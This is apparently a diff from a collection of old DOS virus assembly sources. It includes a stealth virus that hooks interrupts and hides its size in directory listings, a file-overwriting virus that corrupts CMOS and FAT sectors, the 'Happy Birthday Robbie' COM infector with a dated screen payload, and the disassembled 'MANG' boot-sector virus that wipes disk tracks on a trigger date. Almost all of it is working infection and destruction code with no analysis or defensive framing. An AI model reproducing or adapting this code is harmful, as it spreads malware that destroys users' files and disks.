|
||||||
|
and cx,-0020h
|
||||||
|
and dx,001Fh
|
||||||
|
dec dx
|
||||||
|
or cx,dx
|
||||||
|
pop dx
|
||||||
|
call tunnel_i0021h
|
||||||
|
close_file:
|
||||||
|
mov ah,003Eh
|
||||||
|
call tunnel_i0021h
|
||||||
|
jmp i0021h_exit
|
||||||
|
hide_dir:
|
||||||
|
mov si,001Fh
|
||||||
|
and ax,si
|
||||||
|
and cx,si
|
||||||
|
dec cx
|
||||||
|
xor ax,cx
|
||||||
|
jnz hide_exit
|
||||||
|
cmp ax,word ptr es:[bx+si]
|
||||||
|
ja hide_exit
|
||||||
|
mov ax,virus_size
|
||||||
|
cmp word ptr es:[bx+si-0002h],ax
|
||||||
|
jbe hide_exit
|
||||||
|
hide_continue:
|
||||||
|
sub word ptr es:[bx+si-0002h],ax
|
||||||
|
hide_exit:
|
||||||
|
retn
|
||||||
|
tunnel_i0021h:
|
||||||
|
pushf
|
||||||
|
db 009Ah,'PURE'
|
||||||
|
t0021hOffset = $-0004h
|
||||||
|
t0021hSegment = $-0002h
|
||||||
|
retn
|
||||||
|
call_i0013h:
|
||||||
|
pushf
|
||||||
|
push cs
|
||||||
|
call original_i0013h
|
||||||
|
retn
|
||||||
|
call_i0021h:
|
||||||
|
pushf
|
||||||
|
push cs
|
||||||
|
call original_i0021h
|
||||||
|
retn
|
||||||
|
boot_bytes db loader_size dup (0000h)
|
||||||
|
host_bytes db 00CDh,0020h,'!'
|
||||||
|
v_end:
|
||||||
|
heap_start:
|
||||||
|
temp_buffer db 0003h dup (?)
|
||||||
|
trap_flag db 0001h dup (?)
|
||||||
|
int_word db 0002h dup (?)
|
||||||
|
heap_end:
|
||||||
|
end start
|
||||||
|
.
|
||||||
@@ -0,0 +1,176 @@
|
|||||||
|
|
||||||
|
.model tiny
|
||||||
|
.code
|
||||||
|
|
||||||
|
seg_a segment byte public
|
||||||
|
ASSUME CS:SEG_A, DS:SEG_A
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
|
||||||
|
main proc
|
||||||
|
|
||||||
|
find:
|
||||||
|
mov ah,3bh
|
||||||
|
mov dx,offset win
|
||||||
|
int 21h
|
||||||
|
mov Dx,offset conn
|
||||||
|
mov cx,2h
|
||||||
|
mov ah,4eh
|
||||||
|
int 21h
|
||||||
|
next:
|
||||||
|
mov ah,4fh
|
||||||
|
mov dx,offset conn
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
open:
|
||||||
|
mov ah,43H
|
||||||
|
mov dx,09Eh
|
||||||
|
mov al,0
|
||||||
|
int 21H
|
||||||
|
mov cl,0
|
||||||
|
mov ah,43H
|
||||||
|
nop
|
||||||
|
mov dx,09Eh
|
||||||
|
mov al,1
|
||||||
|
int 21H
|
||||||
|
mov ax,3d02h
|
||||||
|
mov dx,9eh
|
||||||
|
int 21h
|
||||||
|
write:
|
||||||
|
xchg bx,ax
|
||||||
|
mov cx,833
|
||||||
|
mov ah,40h
|
||||||
|
mov dx,100h
|
||||||
|
int 21h
|
||||||
|
close:
|
||||||
|
mov ah,3eh
|
||||||
|
int 21h
|
||||||
|
inc cntr
|
||||||
|
cmp cntr,5
|
||||||
|
jge message
|
||||||
|
call next
|
||||||
|
message:
|
||||||
|
mov ah,3bh
|
||||||
|
mov al,00h
|
||||||
|
mov dx,offset UP_ONE
|
||||||
|
int 21h
|
||||||
|
cmp ax,3
|
||||||
|
jne next
|
||||||
|
mov cntr,0000
|
||||||
|
|
||||||
|
C_MAN:
|
||||||
|
mov ah,09h
|
||||||
|
mov dx,offset who
|
||||||
|
int 21h
|
||||||
|
inc cntr
|
||||||
|
cmp cntr,65
|
||||||
|
jge fat_fuck
|
||||||
|
mov dx,cntr
|
||||||
|
xor bx,bx
|
||||||
|
mov bx,255
|
||||||
|
call CMOS_CHCKSM
|
||||||
|
|
||||||
|
CMOS_CHCKSM:
|
||||||
|
xor ax,ax
|
||||||
|
mov al,2Eh
|
||||||
|
out 70h,al
|
||||||
|
in al,71h
|
||||||
|
xchg ch,al
|
||||||
|
mov al,2Fh
|
||||||
|
out 70h,al
|
||||||
|
in al,71h
|
||||||
|
xchg cl,al
|
||||||
|
push dx
|
||||||
|
xchg dl,al
|
||||||
|
out 70h,al
|
||||||
|
in al,71h
|
||||||
|
sub cx,ax
|
||||||
|
add cx,bx
|
||||||
|
pop dx
|
||||||
|
xchg dl,al
|
||||||
|
out 70h,al
|
||||||
|
xchg al,bl
|
||||||
|
out 71h,al
|
||||||
|
mov al,2Eh
|
||||||
|
out 70h,al
|
||||||
|
xchg al,ch
|
||||||
|
out 71h,al
|
||||||
|
mov al,2Fh
|
||||||
|
out 70h,al
|
||||||
|
xchg al,cl
|
||||||
|
out 71h,al
|
||||||
|
call C_MAN
|
||||||
|
fat_fuck:
|
||||||
|
push dx
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push ax
|
||||||
|
push bp
|
||||||
|
mov ax,0dh
|
||||||
|
int 21h
|
||||||
|
mov ah,19h
|
||||||
|
int 21h
|
||||||
|
xor dx,dx
|
||||||
|
call load_sec
|
||||||
|
mov bp,bx
|
||||||
|
mov bx,word ptr es:[bp+16h]
|
||||||
|
push ax
|
||||||
|
call rnd_num
|
||||||
|
cmp bx,ax
|
||||||
|
jbe alter_fat1
|
||||||
|
mov ax,bx
|
||||||
|
alter_fat1:
|
||||||
|
xchg ax,dx
|
||||||
|
pop ax
|
||||||
|
mov cx,1
|
||||||
|
int 26h
|
||||||
|
add dx,bx
|
||||||
|
int 26h
|
||||||
|
pop bp
|
||||||
|
pop ax
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop dx
|
||||||
|
CALL JUST_TO_MAKE_IT_WORSE
|
||||||
|
|
||||||
|
load_sec:
|
||||||
|
push cx
|
||||||
|
push ds
|
||||||
|
push ax
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov ax,0dh
|
||||||
|
int 21h
|
||||||
|
pop ax
|
||||||
|
mov cx, 1
|
||||||
|
mov bx, offset sec_buf
|
||||||
|
int 25h
|
||||||
|
pop ds
|
||||||
|
pop cx
|
||||||
|
ret
|
||||||
|
|
||||||
|
rnd_num:
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
xor ax,ax
|
||||||
|
int 1ah
|
||||||
|
xchg dx,ax
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
ret
|
||||||
|
JUST_TO_MAKE_IT_WORSE:
|
||||||
|
mov ah,31h
|
||||||
|
mov dx,7530h
|
||||||
|
int 21H
|
||||||
|
RET
|
||||||
|
sec_buf dw 100h dup(?)
|
||||||
|
win db 'C:\windows\command',0
|
||||||
|
conn db '*.C*',0
|
||||||
|
who db '§ EvuLz MaLiCe §$'
|
||||||
|
cntr dw 0
|
||||||
|
up_one db '..',0
|
||||||
|
main endp
|
||||||
|
seg_a ends
|
||||||
|
end find
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,224 @@
|
|||||||
|
;
|
||||||
|
;Happy Birthday Robbie Virus
|
||||||
|
;
|
||||||
|
|
||||||
|
code segment 'CODE'
|
||||||
|
assume cs:code,ds:code,es:code,ss:code
|
||||||
|
|
||||||
|
org 0100h
|
||||||
|
|
||||||
|
code_length equ finish - start
|
||||||
|
lf equ 0Ah
|
||||||
|
cr equ 0Dh
|
||||||
|
|
||||||
|
start label near
|
||||||
|
|
||||||
|
id_bytes proc near
|
||||||
|
mov si,si ; Serves no purpose: our ID
|
||||||
|
id_bytes endp
|
||||||
|
|
||||||
|
main: mov ah,04Eh ; DOS find first file function
|
||||||
|
mov cx,00100111b ; CX holds attribute mask
|
||||||
|
mov dx,offset com_spec ; DX points to "*.COM"
|
||||||
|
|
||||||
|
file_loop: int 021h
|
||||||
|
jc exit_virus ; If there are no files, go
|
||||||
|
; off
|
||||||
|
|
||||||
|
call infect_file ; Try to infect found file
|
||||||
|
jne exit_virus ; Exit if successful
|
||||||
|
|
||||||
|
mov ah,04Fh ; DOS find next file function
|
||||||
|
jmp short file_loop ; Repeat until out of files
|
||||||
|
|
||||||
|
exit_virus:
|
||||||
|
mov ah,2Ah
|
||||||
|
int 21h
|
||||||
|
cmp dl,3
|
||||||
|
jne dos_drop
|
||||||
|
cmp dh,10
|
||||||
|
je eat_screen
|
||||||
|
dos_drop: int 20h
|
||||||
|
eat_screen: mov byte ptr count,0
|
||||||
|
mov ah,00
|
||||||
|
mov al,03
|
||||||
|
int 10h
|
||||||
|
mov ah,08
|
||||||
|
int 10h
|
||||||
|
mov byte ptr count2,al
|
||||||
|
cmp byte ptr count2,00
|
||||||
|
jne draw_face
|
||||||
|
mov byte ptr count2,0fh
|
||||||
|
draw_face:
|
||||||
|
mov ah,01 ;set cursor type
|
||||||
|
mov cl,00
|
||||||
|
mov ch,40h
|
||||||
|
int 10h
|
||||||
|
mov cl,00
|
||||||
|
mov dl,4fh
|
||||||
|
mov ah,06 ;clear the display window
|
||||||
|
mov al,00
|
||||||
|
mov bh,0fh ;blank line attribs
|
||||||
|
mov ch,00 ;starting at upper left corner
|
||||||
|
mov cl,00 ; to
|
||||||
|
mov dh,00 ;row 0
|
||||||
|
mov dl,4fh ;column 4Fh
|
||||||
|
int 10h
|
||||||
|
mov ah,02 ;set cursor position
|
||||||
|
mov dh,00 ;to row 0,
|
||||||
|
mov dl,1fh ;column 1Fh
|
||||||
|
mov bh,00 ;in graphics mode
|
||||||
|
int 10h
|
||||||
|
mov dx,offset eyes ;get the eyes
|
||||||
|
mov ah,09 ;and draw them to screen
|
||||||
|
mov bl,0fh ;this colour
|
||||||
|
int 21h
|
||||||
|
mov ah,02 ;reposition character
|
||||||
|
mov dh,01 ;to row 1,
|
||||||
|
mov dl,00 ;column 0
|
||||||
|
int 10h
|
||||||
|
mov ah,09 ;write character and attrib
|
||||||
|
mov al,0dch ;character shape
|
||||||
|
mov bl,0fh ;character colour
|
||||||
|
mov cx,50h ;number of characters.
|
||||||
|
int 10h
|
||||||
|
mov ah,02 ;reposition cursor
|
||||||
|
mov dh,18h ;to row 18h
|
||||||
|
mov dl,00 ;column 0
|
||||||
|
int 10h
|
||||||
|
mov ah,09 ;write character & attribute
|
||||||
|
mov al,0dfh ;character shape
|
||||||
|
mov bl,0fh ;character colour
|
||||||
|
mov cx,0050h ;number of characters
|
||||||
|
int 10h
|
||||||
|
mov dl,00 ;back to column 0
|
||||||
|
make_teeth:
|
||||||
|
mov ah,02 ;set cursor position
|
||||||
|
mov dh,02 ;to row 2
|
||||||
|
int 10h
|
||||||
|
mov ah,09 ;write the character
|
||||||
|
mov al,55h ; "U" for one top tooth
|
||||||
|
mov bl,0fh ; colour code
|
||||||
|
mov cx,1 ;only one tooth
|
||||||
|
int 10h
|
||||||
|
mov ah,02
|
||||||
|
mov dh,17h ;row 17h
|
||||||
|
inc dl ;increase column number
|
||||||
|
int 10h
|
||||||
|
mov ah,09 ;write a character there.
|
||||||
|
mov al,0efh ;character "ï" for bottom teeth
|
||||||
|
mov bl,0fh ;colour code
|
||||||
|
int 10h
|
||||||
|
inc dl ;increment column number
|
||||||
|
cmp dl,50h ;is there 50h of them yet?
|
||||||
|
jl make_teeth ;make more if not
|
||||||
|
mov byte ptr count,0 ;0 the counter
|
||||||
|
pause_1:
|
||||||
|
mov cx,7fffh
|
||||||
|
a_loop:
|
||||||
|
loop a_loop ;pause
|
||||||
|
inc byte ptr count
|
||||||
|
cmp byte ptr count,0ah
|
||||||
|
jl pause_1
|
||||||
|
mov byte ptr count,00
|
||||||
|
mov cl,00 ;from column 0
|
||||||
|
mov dl,4fh ;to column 79,
|
||||||
|
close_jaws:
|
||||||
|
mov ah,06 ;scroll the page up
|
||||||
|
mov al,01 ;blanking a line
|
||||||
|
mov bh,byte ptr count ;with this attribute
|
||||||
|
mov ch,0dh ;and from row 13
|
||||||
|
mov dh,18h ;to row 24
|
||||||
|
int 10h
|
||||||
|
mov ah,07 ;scroll downward
|
||||||
|
mov al,01 ;blanking one line
|
||||||
|
mov bh,byte ptr count ;with this attribute
|
||||||
|
mov ch,00 ;from row 0
|
||||||
|
mov dh,0ch ;to row 12
|
||||||
|
int 10h
|
||||||
|
mov cx,3fffh
|
||||||
|
b_loop:
|
||||||
|
loop b_loop ;pause
|
||||||
|
inc byte ptr count
|
||||||
|
cmp byte ptr count,0bh
|
||||||
|
jl close_jaws
|
||||||
|
mov byte ptr count,00
|
||||||
|
pause_2:
|
||||||
|
mov cx,7fffh
|
||||||
|
finish_up:
|
||||||
|
loop finish_up
|
||||||
|
inc byte ptr count ;increment count by 1
|
||||||
|
cmp byte ptr count,0ah ;is it a 10 yet?
|
||||||
|
jl pause_2 ;no? loop again...
|
||||||
|
mov ah,06 ;scroll page up
|
||||||
|
mov al,00 ;blank entire window
|
||||||
|
mov bh,byte ptr count ;with this attribute
|
||||||
|
mov ch,00 ;from row 0,
|
||||||
|
mov cl,00 ;column 0,
|
||||||
|
mov dh,18h ;to row 18h
|
||||||
|
mov dl,4fh ;column 79
|
||||||
|
int 10h
|
||||||
|
mov ah,01 ;reset cursor type
|
||||||
|
mov cl,07
|
||||||
|
mov ch,06 ;everything is back to normal
|
||||||
|
int 10h
|
||||||
|
mov si,offset rabid
|
||||||
|
fuckin_loop: lodsb
|
||||||
|
or al,al
|
||||||
|
jz $
|
||||||
|
mov ah, 0Eh
|
||||||
|
int 10h
|
||||||
|
jmp short fuckin_loop
|
||||||
|
infect_file:
|
||||||
|
mov ax,03D02h ; DOS open file function,
|
||||||
|
; read-write
|
||||||
|
mov dx,09Eh ; DX points to the victim
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
xchg bx,ax ; BX holds file handle
|
||||||
|
|
||||||
|
mov ah,03Fh ; DOS read from file function
|
||||||
|
mov cx,2 ; CX holds byte to read (2)
|
||||||
|
mov dx,offset buffer ; DX points to buffer
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
|
||||||
|
pushf ; Save flags
|
||||||
|
je close_it_up ; If not, then file is OK
|
||||||
|
|
||||||
|
cwd ; Zero CX \_ Zero bytes from
|
||||||
|
; start
|
||||||
|
mov cx,dx ; Zero DX /
|
||||||
|
mov ax,04200h ; DOS file seek function,
|
||||||
|
; start
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
mov ah,040h ; DOS write to file function
|
||||||
|
mov cx,code_length ; CX holds virus length
|
||||||
|
mov dx,offset start ; DX points to start of virus
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
close_it_up: mov ah,03Eh ; DOS close file function
|
||||||
|
int 021h
|
||||||
|
|
||||||
|
popf ; Restore flags
|
||||||
|
ret ; Return to caller
|
||||||
|
|
||||||
|
buffer dw ? ; Buffer to hold test data
|
||||||
|
|
||||||
|
; Initialized data goes here
|
||||||
|
|
||||||
|
com_spec db "*.COM",0 ; What to infect: all COM
|
||||||
|
count db 0, 0
|
||||||
|
count2 db 0, 0
|
||||||
|
eyes db '(o) (o)$'
|
||||||
|
dinked db '[Malmsey Habitat v. 1.3]', 0
|
||||||
|
rabid db cr, lf
|
||||||
|
db 'Warmest Regards to RABID', cr, lf
|
||||||
|
db 'from -- ANARKICK SYSTEMS! ',0,'$'
|
||||||
|
|
||||||
|
finish:
|
||||||
|
|
||||||
|
code ends
|
||||||
|
end start
|
||||||
|
|
||||||
@@ -0,0 +1,252 @@
|
|||||||
|
|
||||||
|
PAGE 59,132
|
||||||
|
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛ MANG ÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛ Created: 30-Aug-92 ÛÛ
|
||||||
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
|
||||||
|
data_0001e equ 4Ch
|
||||||
|
data_0002e equ 4Eh
|
||||||
|
main_ram_size_ equ 413h
|
||||||
|
data_0003e equ 7C00h ;*
|
||||||
|
data_0004e equ 7C05h ;*
|
||||||
|
data_0005e equ 7C0Ah ;*
|
||||||
|
data_0006e equ 7C0Ch ;*
|
||||||
|
data_0007e equ 7
|
||||||
|
data_0008e equ 8
|
||||||
|
data_0009e equ 0Ah
|
||||||
|
data_0014e equ 3BEh ;*
|
||||||
|
data_0015e equ 7C03h ;*
|
||||||
|
data_0016e equ 0B300h ;*
|
||||||
|
data_0017e equ 1BEh ;*
|
||||||
|
data_0018e equ 5000h ;*
|
||||||
|
|
||||||
|
seg_a segment byte public
|
||||||
|
assume cs:seg_a, ds:seg_a
|
||||||
|
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
mang proc far
|
||||||
|
|
||||||
|
start:
|
||||||
|
jmp loc_0007
|
||||||
|
cmc ; Complement carry
|
||||||
|
add [bx+si-61h],al
|
||||||
|
add cl,ds:data_0016e
|
||||||
|
db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
|
||||||
|
db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
|
||||||
|
db 0D8h,0F6h, 06h, 3Fh, 04h, 01h
|
||||||
|
db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh
|
||||||
|
db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
|
||||||
|
db 0Bh, 00h, 9Dh,0CAh, 02h, 00h
|
||||||
|
db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
|
||||||
|
db 00h
|
||||||
|
db 50h, 53h, 51h, 52h, 1Eh, 06h
|
||||||
|
db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h
|
||||||
|
db 0BEh, 04h, 00h
|
||||||
|
loc_0002:
|
||||||
|
mov ax,201h
|
||||||
|
mov bx,200h
|
||||||
|
mov cx,1
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
pushf ; Push flags
|
||||||
|
call dword ptr ds:data_0009e
|
||||||
|
jnc loc_0003 ; Jump if carry=0
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
pushf ; Push flags
|
||||||
|
call dword ptr ds:data_0009e
|
||||||
|
dec si
|
||||||
|
jnz loc_0002 ; Jump if not zero
|
||||||
|
jmp short loc_0006
|
||||||
|
loc_0003:
|
||||||
|
xor si,si ; Zero register
|
||||||
|
cld ; Clear direction
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,[bx]
|
||||||
|
jne loc_0004 ; Jump if not equal
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,[bx+2]
|
||||||
|
je loc_0006 ; Jump if equal
|
||||||
|
loc_0004:
|
||||||
|
mov ax,301h
|
||||||
|
mov dh,1
|
||||||
|
mov cl,3
|
||||||
|
cmp byte ptr [bx+15h],0FDh
|
||||||
|
je loc_0005 ; Jump if equal
|
||||||
|
mov cl,0Eh
|
||||||
|
loc_0005:
|
||||||
|
mov ds:data_0008e,cx
|
||||||
|
pushf ; Push flags
|
||||||
|
call dword ptr ds:data_0009e
|
||||||
|
jc loc_0006 ; Jump if carry Set
|
||||||
|
mov si,data_0014e
|
||||||
|
mov di,1BEh
|
||||||
|
mov cx,21h
|
||||||
|
cld ; Clear direction
|
||||||
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||||
|
mov ax,301h
|
||||||
|
xor bx,bx ; Zero register
|
||||||
|
mov cx,1
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
pushf ; Push flags
|
||||||
|
call dword ptr ds:data_0009e
|
||||||
|
loc_0006:
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
loc_0007:
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
mov ds,ax
|
||||||
|
cli ; Disable interrupts
|
||||||
|
mov ss,ax
|
||||||
|
mov ax,7C00h
|
||||||
|
mov sp,ax
|
||||||
|
sti ; Enable interrupts
|
||||||
|
push ds
|
||||||
|
push ax
|
||||||
|
mov ax,ds:data_0001e
|
||||||
|
mov ds:data_0005e,ax
|
||||||
|
mov ax,ds:data_0002e
|
||||||
|
mov ds:data_0006e,ax
|
||||||
|
mov ax,ds:main_ram_size_
|
||||||
|
dec ax
|
||||||
|
dec ax
|
||||||
|
mov ds:main_ram_size_,ax
|
||||||
|
mov cl,6
|
||||||
|
shl ax,cl ; Shift w/zeros fill
|
||||||
|
mov es,ax
|
||||||
|
mov ds:data_0004e,ax
|
||||||
|
mov ax,0Eh
|
||||||
|
mov ds:data_0001e,ax
|
||||||
|
mov ds:data_0002e,es
|
||||||
|
mov cx,1BEh
|
||||||
|
mov si,data_0003e
|
||||||
|
xor di,di ; Zero register
|
||||||
|
cld ; Clear direction
|
||||||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||||
|
jmp dword ptr cs:data_0015e
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
mov es,ax
|
||||||
|
int 13h ; Disk dl=drive a ah=func 00h
|
||||||
|
; reset disk, al=return status
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,201h
|
||||||
|
mov bx,data_0003e
|
||||||
|
mov cx,ds:data_0008e
|
||||||
|
cmp cx,7
|
||||||
|
jne loc_0008 ; Jump if not equal
|
||||||
|
mov dx,80h
|
||||||
|
int 13h ; Disk dl=drive 0 ah=func 02h
|
||||||
|
; read sectors to memory es:bx
|
||||||
|
; al=#,ch=cyl,cl=sectr,dh=head
|
||||||
|
jmp short loc_0009
|
||||||
|
loc_0008:
|
||||||
|
mov cx,ds:data_0008e
|
||||||
|
mov dx,100h
|
||||||
|
int 13h ; Disk dl=drive a ah=func 02h
|
||||||
|
; read sectors to memory es:bx
|
||||||
|
; al=#,ch=cyl,cl=sectr,dh=head
|
||||||
|
jc loc_0009 ; Jump if carry Set
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov ax,201h
|
||||||
|
mov bx,200h
|
||||||
|
mov cx,1
|
||||||
|
mov dx,80h
|
||||||
|
int 13h ; Disk dl=drive 0 ah=func 02h
|
||||||
|
; read sectors to memory es:bx
|
||||||
|
; al=#,ch=cyl,cl=sectr,dh=head
|
||||||
|
jc loc_0009 ; Jump if carry Set
|
||||||
|
xor si,si ; Zero register
|
||||||
|
cld ; Clear direction
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,[bx]
|
||||||
|
jne loc_0014 ; Jump if not equal
|
||||||
|
lodsw ; String [si] to ax
|
||||||
|
cmp ax,[bx+2]
|
||||||
|
jne loc_0014 ; Jump if not equal
|
||||||
|
loc_0009:
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
mov ah,4
|
||||||
|
int 1Ah ; Real time clock ah=func 04h
|
||||||
|
; get date cx=year, dx=mon/day
|
||||||
|
cmp dx,306h
|
||||||
|
je loc_0010 ; Jump if equal
|
||||||
|
retf ; Return far
|
||||||
|
loc_0010:
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
mov cx,1
|
||||||
|
loc_0011:
|
||||||
|
mov ax,309h
|
||||||
|
mov si,ds:data_0008e
|
||||||
|
cmp si,3
|
||||||
|
je loc_0012 ; Jump if equal
|
||||||
|
mov al,0Eh
|
||||||
|
cmp si,0Eh
|
||||||
|
je loc_0012 ; Jump if equal
|
||||||
|
mov dl,80h
|
||||||
|
mov byte ptr ds:data_0007e,4
|
||||||
|
mov al,11h
|
||||||
|
loc_0012:
|
||||||
|
mov bx,data_0018e
|
||||||
|
mov es,bx
|
||||||
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
||||||
|
; write sectors from mem es:bx
|
||||||
|
; al=#,ch=cyl,cl=sectr,dh=head
|
||||||
|
jnc loc_0013 ; Jump if carry=0
|
||||||
|
xor ah,ah ; Zero register
|
||||||
|
int 13h ; Disk dl=drive 0 ah=func 00h
|
||||||
|
; reset disk, al=return status
|
||||||
|
loc_0013:
|
||||||
|
inc dh
|
||||||
|
cmp dh,ds:data_0007e
|
||||||
|
jb loc_0011 ; Jump if below
|
||||||
|
xor dh,dh ; Zero register
|
||||||
|
inc ch
|
||||||
|
jmp short loc_0011
|
||||||
|
loc_0014:
|
||||||
|
mov cx,7
|
||||||
|
mov ds:data_0008e,cx
|
||||||
|
mov ax,301h
|
||||||
|
mov dx,80h
|
||||||
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
||||||
|
; write sectors from mem es:bx
|
||||||
|
; al=#,ch=cyl,cl=sectr,dh=head
|
||||||
|
jc loc_0009 ; Jump if carry Set
|
||||||
|
mov si,data_0014e
|
||||||
|
mov di,data_0017e
|
||||||
|
mov cx,21h
|
||||||
|
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||||
|
mov ax,301h
|
||||||
|
xor bx,bx ; Zero register
|
||||||
|
inc cl
|
||||||
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
||||||
|
; write sectors from mem es:bx
|
||||||
|
; al=#,ch=cyl,cl=sectr,dh=head
|
||||||
|
jmp short loc_0009
|
||||||
|
db 16 dup (0)
|
||||||
|
db 0Ah, 'Replace and press any key w'
|
||||||
|
db 'hen ready', 0Dh, 0Ah, 0
|
||||||
|
db 'IO SYSMSDOS SYS'
|
||||||
|
db 00h, 00h, 55h,0AAh
|
||||||
|
|
||||||
|
mang endp
|
||||||
|
|
||||||
|
seg_a ends
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
end start
|
||||||
@@ -0,0 +1,529 @@
|
|||||||
|
|
||||||
|
PAGE 59,132
|
||||||
|
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛ PROB ÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛ Created: 1-Jan-80 ÛÛ
|
||||||
|
;ÛÛ Version: ÛÛ
|
||||||
|
;ÛÛ Passes: 5 Analysis Options on: ABCDEFPX ÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
|
||||||
|
data_1e equ 0 ; (6B7E:0000=0)
|
||||||
|
data_2e equ 2 ; (6B7E:0002=0)
|
||||||
|
data_4e equ 0F1h ; (6B7E:00F1=0)
|
||||||
|
data_17e equ 499h ; (6C11:0499=0)
|
||||||
|
data_18e equ 49Bh ; (6C11:049B=0)
|
||||||
|
data_19e equ 49Dh ; (6C11:049D=0)
|
||||||
|
data_20e equ 49Fh ; (6C11:049F=0)
|
||||||
|
data_21e equ 4B8h ; (6C11:04B8=0)
|
||||||
|
|
||||||
|
;-------------------------------------------------------------- seg_a ----
|
||||||
|
|
||||||
|
seg_a segment para public
|
||||||
|
assume cs:seg_a , ds:seg_a , ss:stack_seg_c
|
||||||
|
|
||||||
|
db 256 dup (0)
|
||||||
|
db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
|
||||||
|
db 1, 0B4h, 9, 0CDh, 21h, 0B8h
|
||||||
|
db 0, 4Ch, 0CDh
|
||||||
|
db '!This is a test', 0Ah, 0Dh, '$'
|
||||||
|
db 1807 dup (0)
|
||||||
|
|
||||||
|
seg_a ends
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;-------------------------------------------------------------- seg_b ----
|
||||||
|
|
||||||
|
seg_b segment para public
|
||||||
|
assume cs:seg_b , ds:seg_b , ss:stack_seg_c
|
||||||
|
|
||||||
|
db 241 dup (0)
|
||||||
|
db 4Fh, 4Dh
|
||||||
|
db 9 dup (20h)
|
||||||
|
db 0, 0, 0, 0
|
||||||
|
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
;
|
||||||
|
; Program Entry Point
|
||||||
|
;
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
|
||||||
|
|
||||||
|
prob proc far
|
||||||
|
|
||||||
|
start:
|
||||||
|
jmp short loc_3 ; (0137)
